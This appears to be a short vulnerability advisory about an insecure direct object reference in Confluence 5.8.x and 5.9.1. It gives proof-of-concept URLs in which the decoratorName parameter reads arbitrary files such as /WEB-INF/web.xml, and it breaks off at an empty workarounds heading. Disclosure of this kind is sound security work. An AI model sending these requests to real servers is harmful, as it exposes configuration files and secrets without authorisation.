The following URL is vulnerable to Insecure Direct Object Reference, allowing any authenticated user to read configuration files from the application such as the content of webapp directory in confluence.
http://<server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
http://<server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>
Where <FILE> any file readable by the user who runs the Confluence instance is accessible through Confluence itself.
PoC URL:
http://<server>/spaces/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml
http://<server>/admin/viewdefaultdecorator.action?decoratorName=/WEB-INF/web.xml
This has been verified in confluence 5.9.1, 5.8.15, and 5.8.14
h2. Workarounds